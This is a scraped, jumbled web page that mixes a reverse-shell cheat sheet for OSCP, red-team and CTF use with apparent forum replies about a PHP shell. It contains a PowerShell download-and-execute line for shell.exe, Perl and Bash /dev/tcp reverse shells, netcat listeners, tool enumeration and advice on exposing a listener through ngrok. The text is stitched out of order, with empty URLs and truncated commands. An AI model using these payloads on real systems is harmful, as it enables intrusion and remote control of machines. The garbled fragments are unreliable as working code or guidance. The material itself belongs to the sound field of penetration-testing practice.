![]() ![]() python3 -m rver / python2 -m SimpleHTTPServer powershell -command "((new-object ).DownloadFile('', '%TEMP%\shell.exe'))" "c:\windows\system32\cmd.exe /c %TEMP%\shell. Most Linux boxes have perl installed somewhere (unless its a container) perl -e 'use Socket $i="127.0.0.1" $p=1337 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) if(connect(S,sockaddr_in($p,inet_aton($i)))) $client.Close()" Got a binary you want to execute? This one is incredibly reliable in my experience. You might get lucky with this, but I do think that you need to have a “bash session” of sorts, such that the pipes maintain across sessions, as opposed to one-shot command execution. Pure Bash Shell (only seems to run on sh or bash) exec 5/dev/tcp/127.0.0.1/1337 In my book, simplicity is key as there if there is usually not much to go wrong. Is there any sanitation in the command window? Eg is it removing quotes?.What you choose is going to matter and depend on a few things: I believe this different might also be related to that of BSD versions of Netcat or the differences. ![]() If you’re on a Mac running OSX or MacOS: nc -l 1337 Get started Find out what programs are installed for item in $(echo "nmap nc perl python ruby gcc wget sudo curl") do which $item done` Start your listener If you’re on Linux: nc -vv -l -p 1337 If you have found some sort of bash command execution access to the target machine, you can quickly verify what avenues you have with a one liner pulled from The Situational Awareness section of the Privilege Escalation Document. Keep in mind this is a staged payload.This document is supposed to be a quick reference for things like reverse shell one liners, including PHP shells and sources to those. This is a module from Rapid7 that should be used with their handler but you don't have to. This will work with any operating system on a server. Below are a collection of reverse shell one-liners that will help you during your OSCP Labs or other activities like Red Teaming, CTFs, Penetration Test. I'm writing this on my phone and is a bit difficult to structure the text. Ask me if there is something that you dont understand. So if that other server (remote url) executes that php( you upload the file and open the url), you would need a public IP, because that server is on the internet and cannot find your physical ip. Even when substituting this into my POST command the shell connects (no drop), but as soon as a command is written the connection drops. The file needs to be executed from the server that you want to conect to, so that the php in that system executes the bash command. That is the base64 decoded php shell that metasploit sends (found in wireshark) - naturally its a lot more complicated than the simple one liner that I used. So the php is being executed in your server, not in another site. If your ip is in the same network as the server, (or your routing table is configured to forward to another network) the server tries to make the connection serverip->yourcomputerip:8080 So when you execute the php script, it runs on the server that hosts the file (localhost) and tries to connect to the desired ip. So ngrok makes a localhost port public, like localhost:3000->, so at this point you have something like a public subdomain and a public ip that forwards the connections to your localhost. ![]()
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